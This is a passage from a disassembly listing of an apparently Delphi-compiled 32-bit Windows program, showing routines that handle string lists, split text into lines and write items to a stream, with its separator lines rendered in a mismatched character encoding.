loc_40CD23:				; CODE XREF: sub_40CCCC+4Ej
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40CD40

loc_40CD30:				; CODE XREF: CODE:0040CD3Ej
		lea	eax, [ebp+var_C]
		call	sub_4034C8
		retn
sub_40CCCC	endp ; sp = -20h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40CD39:				; DATA XREF: sub_40CCCC+17o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_40CD30
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40CD40:				; DATA XREF: sub_40CCCC+5Fo
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40CD4C	proc near		; CODE XREF: sub_40CE7C+69p
					; sub_40CF2C+25p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ecx
		mov	edi, edx
		mov	esi, eax
		mov	ecx, [ebp+var_4]
		mov	edx, edi
		mov	eax, esi
		mov	ebx, [eax]
		call	dword ptr [ebx+54h]
		mov	ecx, [ebp+arg_0]
		mov	edx, edi
		mov	eax, esi
		mov	ebx, [eax]
		call	dword ptr [ebx+24h]
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn	4
sub_40CD4C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40CD7C	proc near		; DATA XREF: CODE:0040BAECo
					; CODE:0040BC0Co

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, eax
		push	20h
		mov	ecx, edx
		mov	eax, ds:off_40BD3C
		mov	dl, 1
		call	sub_40D940
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_40CDC4
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edx, [ebp+var_4]
		mov	eax, esi
		mov	ecx, [eax]
		call	dword ptr [ecx+5Ch]
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40CDCB

loc_40CDBB:				; CODE XREF: CODE:0040CDC9j
		mov	eax, [ebp+var_4]
		call	sub_402BDC
		retn
sub_40CD7C	endp ; sp = -10h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40CDC4:				; DATA XREF: sub_40CD7C+1Do
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_40CDBB
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40CDCB:				; DATA XREF: sub_40CD7C+3Ao
		pop	esi
		pop	ecx
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40CDD0	proc near		; DATA XREF: CODE:0040BAF0o
					; CODE:0040BC10o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		xor	ecx, ecx
		mov	[ebp+var_8], ecx
		mov	ebx, edx
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_40CE6E
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		call	sub_40C890
		xor	eax, eax
		push	ebp
		push	offset loc_40CE51
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, ebx
		call	sub_40D84C
		mov	esi, eax
		mov	eax, ebx
		call	sub_40D830
		sub	esi, eax
		lea	eax, [ebp+var_8]
		mov	ecx, esi
		xor	edx, edx
		call	sub_4035B0
		mov	edx, [ebp+var_8]
		mov	ecx, esi
		mov	eax, ebx
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		call	dword ptr [ecx+2Ch]
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40CE58

loc_40CE48:				; CODE XREF: CODE:0040CE56j
		mov	eax, [ebp+var_4]
		call	near ptr loc_40C947+5
		retn
sub_40CDD0	endp ; sp = -24h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40CE51:				; DATA XREF: sub_40CDD0+2Bo
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_40CE48
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40CE58:				; DATA XREF: sub_40CDD0+73o
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40CE75

loc_40CE65:				; CODE XREF: CODE:0040CE73j
		lea	eax, [ebp-8]
		call	sub_4034C8
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40CE6E:				; DATA XREF: sub_40CDD0+15o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_40CE65
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40CE75:				; DATA XREF: CODE:0040CE60o
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40CE7C	proc near		; DATA XREF: CODE:0040BAF4o
					; CODE:0040BC14o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	esi, ecx
		mov	ebx, edx
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_40CF1D
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		cmp	esi, ebx
		jz	short loc_40CF07
		mov	eax, [ebp+var_4]
		call	sub_40C890
		xor	eax, eax
		push	ebp
		push	offset loc_40CF00
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	ecx, [ebp+var_8]
		mov	edx, ebx
		mov	eax, [ebp+var_4]
		mov	edi, [eax]
		call	dword ptr [edi+0Ch]
		mov	edx, ebx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		call	dword ptr [ecx+18h]
		mov	edi, eax
		mov	edx, ebx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		call	dword ptr [ecx+44h]
		push	edi
		mov	ecx, [ebp+var_8]
		mov	edx, esi
		mov	eax, [ebp+var_4]
		call	sub_40CD4C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40CF07

loc_40CEF7:				; CODE XREF: sub_40CE7C+89j
		mov	eax, [ebp+var_4]
		call	near ptr loc_40C947+5
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40CF00:				; DATA XREF: sub_40CE7C+32o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_40CEF7
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40CF07:				; CODE XREF: sub_40CE7C+25j
					; DATA XREF: sub_40CE7C+76o
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40CF24

loc_40CF14:				; CODE XREF: CODE:0040CF22j
		lea	eax, [ebp+var_8]
		call	sub_4034C8
		retn
sub_40CE7C	endp ; sp = -1Ch

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40CF1D:				; DATA XREF: sub_40CE7C+18o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_40CF14
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40CF24:				; DATA XREF: sub_40CE7C+93o
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40CF2C	proc near		; DATA XREF: CODE:0040BAB4o
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebp, ecx
		mov	esi, edx
		mov	ebx, eax
		mov	edx, esi
		mov	eax, ebx
		mov	ecx, [eax]
		call	dword ptr [ecx+18h]
		mov	edi, eax
		mov	edx, esi
		mov	eax, ebx
		mov	ecx, [eax]
		call	dword ptr [ecx+44h]
		push	edi
		mov	ecx, ebp
		mov	edx, esi
		mov	eax, ebx
		call	sub_40CD4C
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40CF2C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND]
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40CF60	proc near		; DATA XREF: sub_40C900+11o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		xor	ecx, ecx
		mov	[ebp+var_C], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_40D004
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_8]
		call	sub_40DEA0
		mov	eax, [ebp+var_4]
		call	sub_40C890
		xor	eax, eax
		push	ebp
		push	offset loc_40CFDF
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		mov	edx, [eax]
		call	dword ptr [edx+40h]
		jmp	short loc_40CFBD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40CFA7:				; CODE XREF: sub_40CF60+67j
		lea	edx, [ebp+var_C]
		mov	eax, [ebp+var_8]
		call	sub_40DEEC
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		call	dword ptr [ecx+34h]

loc_40CFBD:				; CODE XREF: sub_40CF60+45j
		mov	eax, [ebp+var_8]
		call	sub_40DDF4
		test	al, al
		jz	short loc_40CFA7
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40CFE6

loc_40CFD6:				; CODE XREF: CODE:0040CFE4j
		mov	eax, [ebp+var_4]
		call	near ptr loc_40C947+5
		retn
sub_40CF60	endp ; sp = -20h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40CFDF:				; DATA XREF: sub_40CF60+32o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_40CFD6
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40CFE6:				; DATA XREF: sub_40CF60+71o
		mov	eax, [ebp-8]
		call	sub_40DEA8
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40D00B

loc_40CFFB:				; CODE XREF: CODE:0040D009j
		lea	eax, [ebp-0Ch]
		call	sub_4034C8
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40D004:				; DATA XREF: sub_40CF60+14o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_40CFFB
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40D00B:				; DATA XREF: CODE:0040CFF6o
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40D010	proc near		; DATA XREF: CODE:0040BAF8o
					; CODE:0040BC18o

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, eax
		push	0FFFFh
		mov	ecx, edx
		mov	eax, ds:off_40BD3C
		mov	dl, 1
		call	sub_40D940
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_40D05B
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edx, [ebp+var_4]
		mov	eax, esi
		mov	ecx, [eax]
		call	dword ptr [ecx+68h]
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40D062

loc_40D052:				; CODE XREF: CODE:0040D060j
		mov	eax, [ebp+var_4]
		call	sub_402BDC
		retn
sub_40D010	endp ; sp = -10h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40D05B:				; DATA XREF: sub_40D010+20o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_40D052
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40D062:				; DATA XREF: sub_40D010+3Do
		pop	esi
		pop	ecx
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40D068	proc near		; DATA XREF: CODE:0040BAFCo
					; CODE:0040BC1Co

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40D0B5
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_4]
		mov	eax, ebx
		mov	ecx, [eax]
		call	dword ptr [ecx+1Ch]
		mov	eax, [ebp+var_4]
		call	sub_403724
		mov	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, esi
		call	sub_40D8BC
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40D0BC

loc_40D0AC:				; CODE XREF: CODE:0040D0BAj
		lea	eax, [ebp+var_4]
		call	sub_4034C8
		retn
sub_40D068	endp ; sp = -14h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40D0B5:				; DATA XREF: sub_40D068+Eo
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_40D0AC
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40D0BC:				; DATA XREF: sub_40D068+3Fo
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND]
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40D0C8	proc near		; CODE XREF: sub_40C6F0+Fp
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		cmp	dword ptr [ebx+8], 0
		jz	short loc_40D0DC
		mov	eax, [ebx+8]
		mov	edx, [eax]
		call	dword ptr [edx+10h]

loc_40D0DC:				; CODE XREF: sub_40D0C8+Aj
		lea	eax, [ebx+8]
		mov	edx, esi
		call	sub_404BF0
		cmp	dword ptr [ebx+8], 0
		jz	short loc_40D0F6
		mov	edx, ebx
		mov	eax, [ebx+8]
		mov	ecx, [eax]
		call	dword ptr [ecx+0Ch]

loc_40D0F6:				; CODE XREF: sub_40D0C8+22j
		pop	esi
		pop	ebx
		retn
sub_40D0C8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40D0FC	proc near		; DATA XREF: CODE:0040BB00o
					; CODE:0040BC20o

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40D13F
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_4]
		mov	edx, esi
		call	sub_403680
		mov	edx, [ebp+var_4]
		mov	eax, ebx
		mov	ecx, [eax]
		call	dword ptr [ecx+2Ch]
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40D146

loc_40D136:				; CODE XREF: CODE:0040D144j
		lea	eax, [ebp+var_4]
		call	sub_4034C8
		retn
sub_40D0FC	endp ; sp = -14h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40D13F:				; DATA XREF: sub_40D0FC+Eo
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_40D136
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40D146:				; DATA XREF: sub_40D0FC+35o
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40D14C	proc near		; DATA XREF: CODE:0040BAC0o
					; CODE:0040BBE0o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		xor	ecx, ecx
		mov	[ebp+var_8], ecx
		mov	ebx, edx
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_40D200
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		call	sub_40C890
		xor	edx, edx
		push	ebp
		push	offset loc_40D1E3
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		mov	eax, [ebp+var_4]
		mov	edx, [eax]
		call	dword ptr [edx+40h]
		test	ebx, ebx
		jz	short loc_40D1CD
		jmp	short loc_40D1C8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40D18F:				; CODE XREF: sub_40D14C+7Fj
		mov	eax, ebx
		jmp	short loc_40D194
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40D193:				; CODE XREF: sub_40D14C+56j
		inc	ebx

loc_40D194:				; CODE XREF: sub_40D14C+45j
		mov	dl, [ebx]
		test	dl, dl
		jz	short loc_40D1A4
		sub	dl, 0Ah
		jz	short loc_40D1A4
		sub	dl, 3
		jnz	short loc_40D193

loc_40D1A4:				; CODE XREF: sub_40D14C+4Cj
					; sub_40D14C+51j
		mov	ecx, ebx
		sub	ecx, eax
		lea	edx, [ebp+var_8]
		xchg	eax, edx
		call	sub_4035B0
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		call	dword ptr [ecx+34h]
		cmp	byte ptr [ebx],	0Dh
		jnz	short loc_40D1C2
		inc	ebx

loc_40D1C2:				; CODE XREF: sub_40D14C+73j
		cmp	byte ptr [ebx],	0Ah
		jnz	short loc_40D1C8
		inc	ebx

loc_40D1C8:				; CODE XREF: sub_40D14C+41j
					; sub_40D14C+79j
		cmp	byte ptr [ebx],	0
		jnz	short loc_40D18F

loc_40D1CD:				; CODE XREF: sub_40D14C+3Fj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40D1EA

loc_40D1DA:				; CODE XREF: CODE:0040D1E8j
		mov	eax, [ebp+var_4]
		call	near ptr loc_40C947+5
		retn
sub_40D14C	endp ; sp = -20h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40D1E3:				; DATA XREF: sub_40D14C+2Ao
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_40D1DA
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40D1EA:				; DATA XREF: sub_40D14C+89o
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40D207

loc_40D1F7:				; CODE XREF: CODE:0040D205j
		lea	eax, [ebp-8]
		call	sub_4034C8
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40D200:				; DATA XREF: sub_40D14C+14o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_40D1F7
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40D207:				; DATA XREF: CODE:0040D1F2o
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS	KEYPAD "+" TO EXPAND]
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40D210	proc near		; DATA XREF: sub_40C900+1Ao

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		xor	ecx, ecx
		mov	[ebp+var_C], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_40D286
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_8]
		call	sub_40E2C0
		mov	eax, [ebp+var_4]
		mov	edx, [eax]
		call	dword ptr [edx+14h]
		mov	ebx, eax
		dec	ebx
		test	ebx, ebx
		jl	short loc_40D268
		inc	ebx
		xor	esi, esi

loc_40D24C:				; CODE XREF: sub_40D210+56j
		lea	ecx, [ebp+var_C]
		mov	edx, esi
		mov	eax, [ebp+var_4]
		mov	edi, [eax]
		call	dword ptr [edi+0Ch]
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_8]
		call	sub_40E2D0
		inc	esi
		dec	ebx
		jnz	short loc_40D24C

loc_40D268:				; CODE XREF: sub_40D210+37j
		mov	eax, [ebp+var_8]
		call	sub_40E2C8
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40D28D

loc_40D27D:				; CODE XREF: CODE:0040D28Bj
		lea	eax, [ebp+var_C]
		call	sub_4034C8
		retn
sub_40D210	endp ; sp = -20h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40D286:				; DATA XREF: sub_40D210+17o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_40D27D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40D28D:				; DATA XREF: sub_40D210+68o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40D294	proc near		; DATA XREF: CODE:0040BBB0o
		push	ebx
		push	esi
		call	sub_402D3C
		mov	ebx, edx
		mov	esi, eax
		xor	eax, eax
		mov	[esi+20h], eax
		mov	[esi+24h], eax
		xor	eax, eax
		mov	[esi+28h], eax
		mov	[esi+2Ch], eax
		mov	edx, ebx
		and	dl, 0FCh
		mov	eax, esi
		call	sub_40C6F0
		mov	eax, [esi+10h]
		test	eax, eax
		jz	short loc_40D2D2
		mov	edx, [esi+0Ch]
		mov	ecx, eax
		mov	eax, ds:off_40BB44
		xchg	eax, edx
		call	sub_403BE8

loc_40D2D2:				; CODE XREF: sub_40D294+2Cj
		xor	eax, eax
		mov	[esi+10h], eax
		xor	edx, edx
		mov	eax, esi
		mov	ecx, [eax]
		call	dword ptr [ecx+28h]
		test	bl, bl
		jle	short loc_40D2EB
		mov	eax, esi
		call	sub_402D2C

loc_40D2EB:				; CODE XREF: sub_40D294+4Ej
		pop	esi
		pop	ebx
		retn
sub_40D294	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40D2F0	proc near		; DATA XREF: CODE:0040BBE8o
		push	ebx
		push	esi
		push	edi
		push	ecx
		mov	esi, edx
		mov	ebx, eax
		cmp	byte ptr [ebx+18h], 0
		jnz	short loc_40D306
		mov	eax, [ebx+10h]
		mov	[esp+0], eax
		jmp	short loc_40D331
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40D306:				; CODE XREF: sub_40D2F0+Cj
		mov	ecx, esp
		mov	edx, esi
		mov	eax, ebx
		mov	edi, [eax]
		call	dword ptr [edi+78h]
		test	al, al
		jz	short loc_40D331
		mov	al, [ebx+19h]
		sub	al, 1
		jb	short loc_40D33D
		dec	al
		jz	short loc_40D322
		jmp	short loc_40D331
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40D322:				; CODE XREF: sub_40D2F0+2Ej
		mov	edx, ds:off_41DB24
		xor	ecx, ecx
		mov	eax, ebx
		call	sub_40CA44

loc_40D331:				; CODE XREF: sub_40D2F0+14j
					; sub_40D2F0+23j ...
		mov	ecx, esi
		mov	edx, [esp+0]
		mov	eax, ebx
		call	sub_40D618

loc_40D33D:				; CODE XREF: sub_40D2F0+2Aj
		mov	eax, [esp+0]
		pop	edx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40D2F0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40D348	proc near		; DATA XREF: CODE:0040BC24o
		push	ebx
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40D360
		cmp	word ptr [eax+22h], 0
		jz	short loc_40D360
		mov	ebx, eax
		mov	edx, eax
		mov	eax, [ebx+24h]
		call	dword ptr [ebx+20h]

loc_40D360:				; CODE XREF: sub_40D348+5j
					; sub_40D348+Cj
		pop	ebx
		retn
sub_40D348	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40D364	proc near		; DATA XREF: CODE:0040BC28o
		push	ebx
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40D37C
		cmp	word ptr [eax+2Ah], 0
		jz	short loc_40D37C
		mov	ebx, eax
		mov	edx, eax
		mov	eax, [ebx+2Ch]
		call	dword ptr [ebx+28h]

loc_40D37C:				; CODE XREF: sub_40D364+5j
					; sub_40D364+Cj
		pop	ebx
		retn
sub_40D364	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40D380	proc near		; DATA XREF: CODE:0040BBF4o
		push	ebx
		mov	ebx, eax
		cmp	dword ptr [ebx+10h], 0
		jz	short loc_40D3B6
		mov	eax, ebx
		mov	edx, [eax]
		call	dword ptr [edx+74h]
		mov	eax, [ebx+0Ch]
		mov	ecx, [ebx+10h]
		mov	edx, ds:off_40BB44
		call	sub_403BE8
		xor	eax, eax
		mov	[ebx+10h], eax
